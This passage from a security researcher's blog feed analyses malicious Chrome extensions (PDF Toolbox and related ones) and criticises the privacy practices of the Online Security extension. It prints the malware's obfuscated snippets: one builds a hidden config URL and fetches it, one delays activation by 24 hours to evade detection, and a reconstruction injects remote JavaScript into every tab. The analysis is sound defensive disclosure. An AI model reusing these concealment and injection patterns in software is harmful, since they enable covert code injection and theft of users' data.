picture-in-picture</td> <td>172,931</td> <td>gcnceeflimggoamelclcbhcdggcmnglm</td> </tr> </tbody> </table> <p>Note that this list is unlikely to be complete. It’s based on a sample of roughly 1,600 extensions that I have locally, not all the Chrome Web Store contents.</p> <h2 id="the-malicious-code">The malicious code</h2> <p>There is a <a href="https://palant.info/2023/05/16/malicious-code-in-pdf-toolbox-extension/">detailed discussion of the malicious code</a> in my previous article. I couldn’t find any other extension using the same code as PDF Toolbox, but the two variants I discovered now are very similar. There are minor differences:</p> <ul> <li>First variant masquerades as Mozilla’s WebExtension browser API Polyfill. The “config” download address is <code>https://serasearchtop.com/cfg/&lt;Extension_ID&gt;/polyfill.json</code>, and the mangled timestamp preventing downloads within the first 24 hours is <code>localStorage.polyfill</code>.</li> <li>The second variant masquerades as Day.js library. It downloads data from <code>https://serasearchtop.com/cfg/&lt;Extension_ID&gt;/locale.json</code> and stores the mangled timestamp in <code>localStorage.locale</code>.</li> </ul> <p>Both variants keep the code of the original module, the malicious code has been added on top. The WebExtension Polyfill variant appears to be older: the extensions using it usually had their latest release end of 2021 or early in 2022. The extensions using the Day.js variant are newer, and the code has been obfuscated more thoroughly here.</p> <p>The extension logic remains exactly the same however. Its purpose is making two very specific function calls, from the look of it: <code>chrome.tabs.onUpdated.addListener</code> and <code>chrome.tabs.executeScript</code>. So these extensions are meant to inject some arbitrary JavaScript code into every website you visit.</p> <h2 id="what-does-it-actually-do">What does it <em>actually</em> do?</h2> <p>As with PDF Toolbox, I cannot observe the malicious code in action. The configuration data produced by serasearchtop[.]com is always empty for me. Maybe it’s not currently active, maybe it only activates some time after installation, or maybe I have to be in a specific geographic region. Impossible to tell.</p> <p>So I went checking out what other people say. Many reviews for these extensions appear to be fake. There are also just as many reviews complaining about functional issues: people notice that these extensions aren’t really being developed. Finally, a bunch of Brisk VPN reviews mention the extension being malicious, sadly without explaining how they noticed.</p> <p>But I found my answer in the reviews for the Image Download Center extension:</p> <figure><img src="https://palant.info/2023/05/31/more-malicious-extensions-in-chrome-web-store/reviews.png" class="article-image" alt="Review by Sastharam Ravendran in July 2021: SPAM. Please avoid. Few days after install, my search results in google were randomly being re-directed elsewhere. I was lost and clueless. I disabled all extensions and enabled them one by one to catch this culprit. Hate it when extension developers, use us as baits for such things. google should check and take action ! A reply by Mike Pemberton in January 2022: had the same happen to me with this extension from the Micrsoft edge store. Another reply by Ande Walsh in September 2021: This guy is right. This is a dirty extension that installs malware. AVOID." width="852" height="479" /></figure> <p>So it would seem that at least back in 2021 (yes, almost two years ago) the monetization approach of this extension was redirecting search pages. I’m pretty certain that these users reported the extension back then, yet here we still are. Yes, I’ve never heard about the “Report abuse” link in Chrome Web Store producing any result. Maybe it is a fake form only meant to increase customer satisfaction?</p> <p>There is a similar two years old review on the OneCleaner extension:</p> <figure><img src="https://palant.info/2023/05/31/more-malicious-extensions-in-chrome-web-store/reviews2.png" class="article-image" alt="Review by Vincent Descamps: Re-adding it to alert people: had to remove it, contains a malware redirecting to bing search engine when searching something on google using charmsearch.com bullcrap" width="852" height="151" /></figure> <p>Small correction: the website in question was actually called CharmSearching[.]com. If you search for it, you’ll find plenty discussions on how to remove malware from your computer. The domain is no longer active, but this likely merely means that they switched to a less known name. Like… well, maybe serasearchtop[.]com. No proof, but serasearchtop[.]com/search/?q=test redirects to Google.</p> <p>Mind you: just because these extensions monetized by redirecting search pages two years ago, it doesn’t mean that they still limit themselves to it now. There are way more dangerous things one can do with the power to inject arbitrary JavaScript code into each and every website.</p> Malicious code in PDF Toolbox extension https://palant.info/2023/05/16/malicious-code-in-pdf-toolbox-extension/ Tue, 16 May 2023 16:41:44 +0200 https://palant.info/2023/05/16/malicious-code-in-pdf-toolbox-extension/ <p>The PDF Toolbox extension for Google Chrome has more than 2 million users and an average rating of 4,2 in the Chrome Web Store. So I was rather surprised to discover obfuscated code in it that has apparently gone unnoticed for at least a year.</p> <p>The code has been made to look like a legitimate extension API wrapper, merely with some convoluted logic on top. It takes a closer look to recognize unexpected functionality here, and quite some more effort to understand what it is doing.</p> <p>This code allows serasearchtop[.]com website to inject arbitrary JavaScript code into all websites you visit. While it is impossible for me to tell what this is being used for, the most likely use is injecting ads. More nefarious uses are also possible however.</p> <p><strong>Update</strong> (2023-06-12): The complete list of extension IDs from this article series can be found <a href="https://github.com/palant/malicious-extensions-list/blob/main/list.txt">here</a>. This repository also contains the <a href="https://github.com/palant/malicious-extensions-list/releases">check-extensions command-line utility</a> which will search local browser profiles for these extensions.</p> <div id="tocBox"> <h4>Contents</h4> <nav id="TableOfContents"> <ul> <li><a href="https://palant.info/2023/05/16/malicious-code-in-pdf-toolbox-extension/#what-pdf-toolbox-does">What PDF Toolbox does</a></li> <li><a href="https://palant.info/2023/05/16/malicious-code-in-pdf-toolbox-extension/#the-config-file">The “config” file</a></li> <li><a href="https://palant.info/2023/05/16/malicious-code-in-pdf-toolbox-extension/#detection-prevention">Detection prevention</a></li> <li><a href="https://palant.info/2023/05/16/malicious-code-in-pdf-toolbox-extension/#the-wrapper">The “wrapper”</a></li> <li><a href="https://palant.info/2023/05/16/malicious-code-in-pdf-toolbox-extension/#what-s-the-goal">What’s the goal?</a></li> </ul> </nav> </div> <h2 id="what-pdf-toolbox-does">What PDF Toolbox does</h2> <p>The functionality of the PDF Toolbox extension is mostly simple. You click the extension icon and get your options:</p> <figure><img src="https://palant.info/2023/05/16/malicious-code-in-pdf-toolbox-extension/popup.png" class="article-image" alt="An extension icon showing a Swiss army knife with its pop-up open. The pop-up contains the PDF Toolbox title following by four options: Convert office documents, Merge two PDF files, Append image to PDF file, Download Opened PDFs (0 PDFs opened in your tabs)" width="416" height="356" /></figure> <p>Clicking any of the options opens a new browser tab with the actual functionality. Here you can select the files and do something with them. Most operations are done locally using the <a href="https://pdf-lib.js.org/">pdf-lib module</a>. Only converting Office documents will upload the file to a web server.</p> <p>And a regular website could do all of this in exactly the same way. In fact, plenty of such websites already exist. So I suspect that the option to download PDFs only exists to justify both this being a browser extension and requiring wide-reaching privileges.</p> <p>See, in order to check all your tabs for downloadable PDFs this extension requires access to each and every website. A much more obvious extension design would have been: don’t bother with all tabs, check only the current tab when the extension icon is clicked. After all, people rarely trigger an extension because of some long forgotten tab from a week ago. But that would have been doable with a far less powerful <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission">activeTab permission</a>.</p> <p>While Chrome Web Store <a href="https://developer.chrome.com/docs/webstore/program-policies/permissions/">requires extension developers not to declare unnecessary permissions</a>, this policy doesn’t seem to be consistently enforced. This extension also requests access to detailed browser tabs information and downloads, but it doesn’t use either.</p> <h2 id="the-config-file">The “config” file</h2> <p>So all of the extension functionality is contained in the browser action pop-up and the page opening in a new tab. But it still has a background page which, from the look of it, doesn’t do much: it runs Google Analytics and sets the welcome and uninstall page.</p> <p>This is standard functionality found in some other extensions as well. It seems to be part of the monetization policy: the pages come from <code>ladnet.co</code> and display ads below the actual message, prompting you to install some other browser extensions.</p> <p>The module called <code>then-chrome</code> is unusual however. It in turn loads a module named <code>api</code>, and the whole thing looks like wrapping the extension APIs similarly to Mozilla’s <a href="https://github.com/mozilla/webextension-polyfill">WebExtension API polyfill</a>. Which would have been slightly more convincing if there were anything actually using the result.</p> <p>The <code>api</code> module contains the following code:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">Iv</span> <span class="o">=</span> <span class="nx">TL</span> <span class="o">?</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;http&#34;</span> <span class="o">+</span> <span class="nx">ff</span> <span class="o">+</span> <span class="s2">&#34;//s&#34;</span> <span class="o">+</span> <span class="nx">qc</span> <span class="o">+</span> <span class="s2">&#34;a&#34;</span> <span class="o">+</span> <span class="nx">fx</span> <span class="o">+</span> <span class="s2">&#34;ar&#34;</span> <span class="o">+</span> <span class="nb">document</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">protocol</span><span class="p">.</span><span class="nx">substring</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span> <span class="o">+</span> </span></span><span class="line"><span class="cl"> <span class="p">(</span><span class="nx">ad</span> <span class="o">?</span> <span class="s2">&#34;to&#34;</span> <span class="o">:</span> <span class="nx">ad</span><span class="p">)</span> <span class="o">+</span> <span class="nx">so</span> <span class="o">+</span> <span class="s2">&#34;c&#34;</span> <span class="o">+</span> <span class="nb">document</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">protocol</span><span class="p">.</span><span class="nx">substring</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mi">5</span><span class="p">)</span> <span class="o">+</span> <span class="s2">&#34;/cf&#34;</span> <span class="o">+</span> <span class="nx">Sr</span> <span class="o">:</span> </span></span><span class="line"><span class="cl"> <span class="nx">qB</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">oe</span> <span class="o">=</span> <span class="nx">Iv</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="nx">oe</span> <span class="o">+=</span> <span class="nx">bo</span> <span class="o">+</span> <span class="p">(</span><span class="nx">Ua</span> <span class="o">+</span> <span class="s2">&#34;fg.&#34;</span><span class="p">)</span> <span class="o">+</span> <span class="nx">qB</span> <span class="o">+</span> <span class="nb">document</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">protocol</span><span class="p">.</span><span class="nx">substring</span><span class="p">(</span><span class="mi">14</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span> </span></span></code></pre></div><p>Weird, right? There are all these inline conditionals that don’t do anything other than obfuscating the logic. <code>TL</code> gets <code>document</code> assigned to it, <code>ad</code> gets <code>chrome.runtime</code> as its value – there is no way any of these might be missing.</p> <p>This is in fact a very convoluted way of constructing a constant string: <code>https://serasearchtop.com/cfg/bahogceckgcanpcoabcdgmoidngedmfo/cfg.json</code>. As the next step the extension calls <code>window.fetch()</code> in order to download this file:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">ax</span> <span class="o">=</span> <span class="kr">await</span> <span class="nb">window</span><span class="p">[</span><span class="s2">&#34;fet&#34;</span> <span class="o">+</span> <span class="nb">document</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">protocol</span><span class="p">.</span><span class="nx">substring</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">2</span><span class="p">)](</span><span class="nx">oe</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nx">ax</span><span class="p">.</span><span class="nx">ok</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">rd</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">ax</span><span class="p">.</span><span class="nx">json</span><span class="p">();</span> </span></span><span class="line"><span class="cl"> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nx">af</span><span class="p">.</span><span class="nx">wrapObject</span><span class="p">)(</span><span class="nx">chrome</span><span class="p">,</span> <span class="nx">rd</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></div><p>Calling <code>wrapObject</code> with <code>chrome</code> as first parameter makes the impression that this were some harmless configuration data used to wrap extension APIs. The fact that the developers spent so much effort to obfuscate the address and the downloading tells otherwise however.</p> <h2 id="detection-prevention">Detection prevention</h2> <p>Before I start going through the “wrapper,” there is another piece of logic worth mentioning. Somebody probably thought that the extension making a request to serasearchtop[.]com immediately upon installation would draw suspicions. While it isn’t clear what this domain does or who is behind it, it managed to get onto a bunch of anti-tracking blocking lists.</p> <p>So rather than making the request immediately, the extension waits 24 hours. This logic is also obfuscated. It looks like this (slightly cleaned up):</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">rd</span> <span class="o">=</span> <span class="nx">localStorage</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">qJ</span> <span class="o">=</span> <span class="s2">&#34;cfg&#34;</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">oe</span> <span class="o">=</span> <span class="nb">Date</span><span class="p">.</span><span class="nx">now</span><span class="p">();</span> </span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">ax</span> <span class="o">=</span> <span class="nx">rd</span><span class="p">.</span><span class="nx">getItem</span><span class="p">(</span><span class="nx">qJ</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">PB</span> <span class="o">=</span> <span class="mi">9993592013</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nx">ax</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">rd</span> <span class="o">=</span> <span class="nx">PB</span> <span class="o">-</span> <span class="nx">ax</span> </span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">qJ</span> <span class="o">=</span> <span class="nx">oe</span> <span class="o">-</span> <span class="nx">rd</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="nx">qJ</span> <span class="o">&lt;</span> <span class="p">(</span><span class="nx">TL</span> <span class="o">?</span> <span class="mi">0</span> <span class="o">:</span> <span class="nx">rd</span><span class="p">)</span> <span class="o">||</span> <span class="nx">qJ</span> <span class="o">&gt;</span> <span class="p">(</span><span class="nx">ad</span> <span class="o">?</span> <span class="mi">87217164</span> <span class="o">:</span> <span class="nx">TC</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="c1">// Download logic here </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="k">else</span> </span></span><span class="line"><span class="cl"><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">ax</span> <span class="o">=</span> <span class="nx">PB</span> <span class="o">-</span> <span class="nx">oe</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="nx">rd</span><span class="p">.</span><span class="nx">setItem</span><span class="p">(</span><span class="nx">qJ</span><span class="p">,</span> <span class="nx">ax</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></div><p>You can again ignore the inline conditionals: both conditions are always true. The <code>PB</code> constant is only being used to somewhat mess up the timestamp when it is being stored in <code>localStorage.cfg</code>. But <code>qJ</code> becomes the number of milliseconds since the first extension start. And <code>87217164</code> is slightly more than the number of milliseconds in 24 hours.</p> <p>So one only has to change the timestamp in <code>localStorage.cfg</code> for the request to the “configuration” file to happen. For me, only an empty JSON file is being returned however. I suspect that this is another detection prevention mechanism on the server side. There is a cookie being set, so it will likely take some time for me to get a real response here. Maybe there is also some geo-blocking here or other conditions.</p> <h2 id="the-wrapper">The “wrapper”</h2> <p>The <code>wrapper</code> module is where the config processing happens. The logic is again unnecessarily convoluted but it expects a config file like this:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;something2.func2&#34;</span><span class="p">:</span> <span class="s2">&#34;JSON-stringified parameters&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;something1.func1&#34;</span><span class="p">:</span> <span class="s2">&#34;this is ignored&#34;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></div><p>The code relies on <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/entries">Object.entries()</a> implementation in Chrome listing object entries in a particular order. It will take the global scope of the extension’s background page and look up the functions listed in the keys. And it will call them in a very specific way:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="nx">something1</span><span class="p">.</span><span class="nx">func1</span><span class="p">(</span><span class="nx">x</span> <span class="p">=&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">something2</span><span class="p">.</span><span class="nx">func2</span><span class="p">(</span><span class="nx">x</span><span class="p">,</span> <span class="nx">params2</span><span class="p">,</span> <span class="p">()</span> <span class="p">=&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">chrome</span><span class="p">.</span><span class="nx">runtime</span><span class="p">.</span><span class="nx">lastError</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">});</span> </span></span><span class="line"><span class="cl"><span class="p">});</span> </span></span></code></pre></div><p>Now I haven’t seen any proper “config” data, so I don’t really know what this is supposed to do. But the callbacks passed in and <code>chrome.runtime.lastError</code> indicate that <code>something1.func1</code> and <code>something2.func2</code> are meant to be extension API methods. And given what the extension has access to, it’s either <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs">tabs</a>, <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/windows">windows</a> or <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/downloads">downloads</a> API.</p> <p>It took me some time to find a parameter-less API that would call the callback with a value that could be passed to another API call. In the end I realized that the first call is adding a listener. Most likely, <code>something1.func1</code> is <code>chrome.tabs.onUpdated.addListener</code>. This also explains why <code>chrome.runtime.lastError</code> isn’t being checked for the first call, it is unnecessary when adding a listener.</p> <p>The tab update listener will be called regularly, and its first parameter is the tab ID. Which can be passed to a number of extension APIs. Given that there is no further logic here, only one call makes sense: <code>chrome.tabs.executeScript</code>. So the wrapper is meant to run code like this:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="nx">chrome</span><span class="p">.</span><span class="nx">tabs</span><span class="p">.</span><span class="nx">onUpdated</span><span class="p">.</span><span class="nx">addListener</span><span class="p">(</span><span class="nx">tabId</span> <span class="p">=&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">chrome</span><span class="p">.</span><span class="nx">tabs</span><span class="p">.</span><span class="nx">executeScript</span><span class="p">(</span><span class="nx">tabId</span><span class="p">,</span> <span class="p">{</span><span class="nx">code</span><span class="o">:</span> <span class="s2">&#34;arbitrary JavaScript code&#34;</span><span class="p">},</span> <span class="p">()</span> <span class="p">=&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">chrome</span><span class="p">.</span><span class="nx">runtime</span><span class="p">.</span><span class="nx">lastError</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">});</span> </span></span><span class="line"><span class="cl"><span class="p">});</span> </span></span></code></pre></div><p>Effectively, the “config” file downloaded from serasearchtop[.]com can give the extension arbitrary JavaScript code that will be injected into every web page being opened.</p> <h2 id="what-s-the-goal">What’s the goal?</h2> <p>As I’ve never seen the code being injected, we are now entering the realm of speculations. Most likely, the goal of this code is monetizing the browser extension in ways that are prohibited by the Chrome Web Store policies. Which usually means: injecting ads into websites.</p> <p>One would expect users to notice however. With the latest PDF Toolbox version being published in January 2022, this has been going on for more than a year. It might have been even longer if previous versions contained this malicious code as well. Yet not one of the two million users complains in an extension review about ads. I can see a number of explanations for that:</p> <ul> <li>The user numbers have been artificially inflated and the real user count is far lower than two million.</li> <li>The functionality is not active, the server gives everyone an empty config file.</li> <li>The functionality is only active in some regions, particularly those where people are unlikely to come complain in the Chrome Web Store.</li> <li>The code is not injecting ads but rather doing something less obvious.</li> </ul> <p>Concerning the latest bullet point, I see a number of options. A less visible monetization alternative would be injecting cryptocurrency mining code into websites. Maybe it’s that.</p> <p>Or maybe it’s something that users have almost no chance of detecting: data collection. Maybe the injected code is collecting browsing profiles. Or something more nefarious: it could be collecting online banking credentials and credit card numbers as these are being entered into websites.</p> <p>Yes, these are pure speculations. It could be anything.</p> Online Security extension: Destroying privacy for no good reason https://palant.info/2023/05/10/online-security-extension-destroying-privacy-for-no-good-reason/ Wed, 10 May 2023 15:44:09 +0200 https://palant.info/2023/05/10/online-security-extension-destroying-privacy-for-no-good-reason/ <p>These days it’s typical for antivirus vendors to provide you with a browser extension which is meant to improve your online security. I’ll say up front: I don’t consider any such browser extensions recommendable. At best, they are worthless. At worst, they <a href="https://palant.info/2020/02/25/mcafee-webadvisor-from-xss-in-a-sandboxed-browser-extension-to-administrator-privileges/">introduce massive security issues</a>.</p> <p>As an example I took a brief look at the Online Security extension by ReasonLabs. No, there is no actual reason beyond its 7 million users. I think that this extension is a fairly typical representative of its craft.</p> <figure><img src="https://palant.info/2023/05/10/online-security-extension-destroying-privacy-for-no-good-reason/welcome_screen.png" class="article-image" alt="A pop-up titled “Online Security for Google Chrome” and subtitled “Protects your browsing and personal information by blocking harmful content and real-time detection of data breaches.” A big orange button below says “Scan now.”" width="455" height="328" /></figure> <p>TL;DR: Most Online Security functionality is already provided by the browser, and there is little indication that it can improve on that. It does implement its functionality in a maximally privacy-unfriendly way however, sharing your browsing history and installed extensions with the vendor. There is also plenty of sloppy programming, some of which might potentially cause issues.</p> <div id="tocBox"> <h4>Contents</h4> <nav id="TableOfContents"> <ul> <li><a href="https://palant.info/2023/05/10/online-security-extension-destroying-privacy-for-no-good-reason/#features">Features</a> <ul> <li><a href="https://palant.info/2023/05/10/online-security-extension-destroying-privacy-for-no-good-reason/#url-blocking">URL blocking</a> <ul> <li><a href="https://palant.info/2023/05/10/online-security-extension-destroying-privacy-for-no-good-reason/#what-happens-to-the-data">What happens to the data?</a></li> </ul> </li> <li><a href="https://palant.info/2023/05/10/online-security-extension-destroying-privacy-for-no-good-reason/#extension-blocking">Extension blocking</a></li> <li><a href="https://palant.info/2023/05/10/online-security-extension-destroying-privacy-for-no-good-reason/#searching-data-leaks">Searching data leaks</a></li> <li><a href="https://palant.info/2023/05/10/online-security-extension-destroying-privacy-for-no-good-reason/#download-monitoring">Download monitoring</a></li> <li><a href="https://palant.info/2023/05/10/online-security-extension-destroying-privacy-for-no-good-reason/#cookie-and-tracker-blocking-notification-control">Cookie and tracker blocking, notification control</a></li> </ul> </li> <li><a href="https://palant.info/2023/05/10/online-security-extension-destroying-privacy-for-no-good-reason/#explicit-tracking">Explicit tracking</a></li> <li><a href="https://palant.info/2023/05/10/online-security-extension-destroying-privacy-for-no-good-reason/#code-quality-issues">Code quality issues</a></li> <li><a href="https://palant.info/2023/05/10/online-security-extension-destroying-privacy-for-no-good-reason/#conclusion">Conclusion</a></li> </ul> </nav> </div> <h2 id="features">Features</h2> <p>First I want to take the Online Security features apart one by one. It might come as no surprise, but there is less here than the extension’s description makes it sound like.</p> <h3 id="url-blocking">URL blocking</h3> <p>The extension description claims:</p> <blockquote> <p>URL Blocker - Online Security protects you against security breaches that come from browsing suspicious websites. Malware, phishing attempts, crypto-jackers, and scams that can damage both your browser and your device - we track them to keep you and your personal data safe.</p> </blockquote> <p>If that sounds good, it’s probably because the browser’s built-in protection does such a good job staying in the background. Few people are even aware that it exists. So they will believe antivirus vendors’ claims that they need a third-party product to keep them safe from malicious websites.</p> <p>Now I cannot really tell how detection quality of Online Security compares to Google Safe Browsing that most browsers rely on. I can comment on the implementation however. While the built-in protection will block malicious websites both at the top level and as frames, Online Security only looks at top-level addresses.</p> <p>The much bigger issue however is: unlike the browser, Online Security lacks the data to make a decision locally. Instead, it will query ReasonLab’s web server for each and every address you navigate to. The query part of the address will be omitted, in case that makes you feel better.</p> <p>Here is what a typical request looks like:</p> <pre tabindex="0"><code>POST /SSE/v1/scan/urls.ashx HTTP/1.1 Host: apis.reasonsecurity.com Cookie: s_id=5c1030de-48ae-4edd-acc3-5d92f4735f96; ruser=3b2653d9-31b9-4ce8-9127-efa0cda53702; aft=… x-userid: 2362740a-6bba-40d6-8047-898a3b4423d5 Content-Length: 33 Content-Type: application/json [&#34;https://www.google.com/search&#34;] </code></pre><p>That’s three user identifiers: two sent as cookies and a third one as <code>x-userid</code> HTTP header. While the former will be reset when the browsing data is cleared, the latter is stored in the extension and will persist for as long as the extension is installed. We’ll see that unique user identifier again.</p> <p>This request will be sent whenever a new page loads. There is no caching: the extension won’t recognize that it queried the server about the exact same page seconds ago but rather send a new request.</p> <p>That’s not quite as invasive as what we’ve seen with <a href="https://palant.info/2019/10/28/avast-online-security-and-avast-secure-browser-are-spying-on-you/">Avast’s data collection</a> where the context of the page load was being collected as well. Well, at least usually it isn’t. When Online Security performs a scan, be it manual or automated, it will send the addresses of all your tabs to the server:</p> <pre tabindex="0"><code>POST /SSE/v1/scan/urls.ashx HTTP/1.1 Host: apis.reasonsecurity.com Cookie: s_id=5c1030de-48ae-4edd-acc3-5d92f4735f96; ruser=3b2653d9-31b9-4ce8-9127-efa0cda53702; aft=… x-userid: 2362740a-6bba-40d6-8047-898a3b4423d5 Content-Length: 335 Content-Type: application/json [ &#34;https://example.com/&#34;, &#34;chrome://extensions/&#34;, &#34;https://chrome.google.com/webstore/detail/online-security/llbcnfanfmjhpedaedhbcnpgeepdnnok/related&#34;, &#34;https://www.test.de/Geld-anlegen-mit-Zinsen-4209104-0/&#34;, &#34;chrome-extension://llbcnfanfmjhpedaedhbcnpgeepdnnok/index.html&#34;, &#34;chrome-extension://llbcnfanfmjhpedaedhbcnpgeepdnnok/index.html&#34; ] </code></pre><p>Yes, that even includes duplicate addresses. Still, likely no malice is involved here. Yet 17 years after Firefox 2 introduced privacy preserving phishing protection we shouldn’t have to discuss this again.</p> <p>Protection against malicious websites in modern browsers will typically use local data to check website addresses against. The server will only be queried if there is a match, just in case the data changed in the meantime. And this should really be the baseline privacy level for any security solution today.</p> <h4 id="what-happens-to-the-data">What happens to the data?</h4> <p>It’s impossible to tell from the outside what ReasonLab’s servers do with this data. So we have to rely on the information provided in the <a href="https://reasonlabs.com/platform/products/extension/privacy-policy">privacy policy</a>:</p> <blockquote> <p>We will also collect URLs and the preceding referral domains to check if they are malicious.</p> </blockquote> <p>Good, they mention collecting this data in unambiguous terms.</p> <blockquote> <p>In this regard, we will send the URLs to our servers but only store their domains in order to operate and provide the Software services.</p> </blockquote> <p>So they don’t claim the data to be deleted. They won’t keep the full addresses but they will keep the domain names. This statement leaves some open questions.</p> <p>Most importantly, the privacy policy doesn’t mention the user identifier at all. If it’s stored along with the domain names, it still allows conclusions about the browsing habits of an individual user. There is also a non-negligible deanonymization potential here.</p> <p>Also, what kind of services need this data? It’s hard to imagine anything that wouldn’t involve user profiles for advertising.</p> <h3 id="extension-blocking">Extension blocking</h3> <p>Next feature:</p> <blockquote> <p>Disables Harmful Extensions - Online Security identifies all extensions installed on your browser and disables the harmful ones that may hijack your browser settings.</p> </blockquote> <p>Yet another piece of functionality that is already built into the browser. However, once again the built-in functionality is so unintrusive that antivirus vendors see a chance to sell you the same functionality.</p> <p>I’m unsure about the implementation details for Chrome, but Firefox has a local <code>blocklist-addons.json</code> file that it checks all browser extensions against. In case of a match the extension is disabled.</p> <p>Online Security on the other hand opted for a less privacy-friendly approach: when scanning, it will send the complete list of your installed extensions to the ReasonLab’s server:</p> <pre tabindex="0"><code>POST /SSE/v1/scan/extensions.ashx HTTP/1.1 Host: api.reasonsecurity.com Cookie: s_id=5c1030de-48ae-4edd-acc3-5d92f4735f96; ruser=3b2653d9-31b9-4ce8-9127-efa0cda53702; aft=… Content-Length: 141 Content-Type: application/json [ &#34;kpcjmfjmknbolfjjemmbpnajbiehajac&#34;, &#34;badikkiifpoiichdfhclfkmpeiagfnpa&#34;, &#34;nkdpapfpjjgbfpnombidpiokcmfkfdgn&#34;, &#34;oboonakemofpalcgghocfoadofidjkkk&#34; ] </code></pre><p>The <a href="https://reasonlabs.com/platform/products/extension/privacy-policy">privacy policy</a> acknowledges collecting this data but doesn’t tell what happens to it. At least the <code>x-userid</code> header isn’t present, so it’s only cookies identifying the user.</p> <p>Well, maybe they at least do a better job at blocking malicious extensions than the browser does? After all, Google has been repeatedly criticized for not recognizing malicious extensions in Chrome Web Store.</p> <p>Yes, but Google will remove and block malicious extensions when notified about them. So the only way of performing better than the built-in functionality is scanning for malicious extensions and keeping quiet about it, thus putting users at risk.</p> <h3 id="searching-data-leaks">Searching data leaks</h3> <p>Let’s move on to something the browser won’t do:</p> <blockquote> <p>Dark Web Monitoring - lets you know when your email-related information has become exposed. It will reveal details like passwords, usernames, financial information, and other sensitive details while providing steps to remediate the issue.</p> </blockquote> <p>This sounds really fancy. What it actually means however: the extension can check whether your email address is present in any known data leaks. It will also use this feature as leverage: you have to register to run the check regularly, and you have to buy the premium version in order to scan multiple email addresses.</p> <p>It so happens that the well-known website <a href="https://haveibeenpwned.com/">Have I Been Pwned</a> provides the same service for free and without requiring you to register. Again, maybe they aren’t as good? Hard to tell.</p> <p>But at least when I enter <code>me@mailinator.com</code> into Have I Been Pwned the result cites 99 data breaches and 7 pastes. Doing the same in Online Security yields merely 2 data breaches, which seems to suggest a rather bad data basis.</p> <p>Interestingly, SpyCloud (which Online Security privacy policy cites as a partner) claims “659 breach exposures” for <code>me@mailinator.com</code>. It won’t tell any details unless you pay them however.</p> <h3 id="download-monitoring">Download monitoring</h3> <p>Now you probably expect that an antivirus vendor will focus on your downloads. And Online Security has you covered:</p> <blockquote> <p>Monitors Downloads - Online Security seamlessly integrates with 